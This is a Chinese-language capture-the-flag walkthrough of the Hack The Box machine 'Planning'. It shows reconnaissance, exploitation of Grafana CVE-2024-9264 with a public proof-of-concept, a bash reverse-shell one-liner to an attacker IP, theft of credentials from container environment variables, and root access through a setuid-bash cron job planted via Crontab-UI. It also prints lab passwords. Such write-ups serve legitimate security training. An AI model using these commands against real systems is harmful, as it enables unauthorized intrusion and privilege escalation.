HTB: Planning
侦察
初始扫描
Nmap扫描发现两个开放端口:SSH(22)和HTTP(80):
1
2
3
4
|
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.68
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|
根据OpenSSH和nginx版本,主机可能运行Ubuntu 24.04。网站重定向到planning.htb。
初始凭证
模拟真实渗透测试场景,提供了初始凭证:
1
|
admin / 0D5oT70Fq13EvB5r
|
子域名爆破
使用ffuf发现子域名grafana.planning.htb:
1
2
|
oxdf@hacky$ ffuf -u http://10.10.11.68 -H "Host: FUZZ.planning.htb" -w wordlist.txt
grafana [Status: 302]
|
planning.htb - TCP 80
网站分析
在线教育平台,包含About、Courses、Contact等页面。Contact页面有表单但无功能,Enroll页面可提交数据但无漏洞。
技术栈
网站使用PHP开发,nginx作为Web服务器。目录扫描未发现敏感文件。
grafana.planning.htb
Grafana登录
提供Grafana 11.0.0登录页面,使用初始凭证成功登录。无预配置仪表板。
容器内root权限获取
CVE-2024-9264漏洞利用
漏洞识别
Grafana 11.0.0存在CVE-2024-9264漏洞,DuckDB SQL注入导致远程代码执行。
漏洞利用
使用nollium的POC脚本:
1
2
|
oxdf@hacky$ git clone https://github.com/nollium/CVE-2024-9264
oxdf@hacky$ uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id http://grafana.planning.htb
|
反向Shell
获取容器内root权限:
1
|
oxdf@hacky$ uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"' http://grafana.planning.htb
|
enzo用户权限
环境变量枚举
容器环境变量中发现SSH凭证:
1
2
|
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
|
SSH访问
使用凭证成功登录主机:
1
|
oxdf@hacky$ sshpass -p 'RioTecRANDEntANT!' ssh enzo@planning.htb
|
root权限获取
枚举发现
Cron任务配置
/opt/crontabs/crontab.db文件中发现备份任务和清理任务:
1
2
3
4
5
6
7
8
9
10
|
{
"name": "Grafana backup",
"command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar...",
"schedule": "@daily"
}
{
"name": "Cleanup",
"command": "/root/scripts/cleanup.sh",
"schedule": "* * * * *"
}
|
本地服务发现
端口8000运行Crontab-UI服务,需要HTTP基本认证。
Crontab-UI利用
服务访问
通过SSH隧道访问Crontab-UI:
1
|
ssh -L 9001:localhost:8000 enzo@planning.htb
|
认证绕过
使用zip密码"P4ssw0rdS0pRi0T3c"和root用户成功登录。
权限提升
创建恶意cron任务:
1
|
cp /bin/bash /tmp/0xdf && chmod +s /tmp/0xdf
|
执行获取root权限:
1
2
|
enzo@planning:~$ /tmp/0xdf -p
0xdf-5.2# cat root.txt
|
额外发现
Grafana Swagger UI
/swagger-ui端点提供完整API文档,可进行用户管理和其他操作。
Crontab-UI配置
服务配置文件/etc/systemd/system/crontab-ui.service中包含认证凭证:
1
2
|
Environment="BASIC_AUTH_USER=root"
Environment="BASIC_AUTH_PWD=P4ssw0rdS0pRi0T3c"
|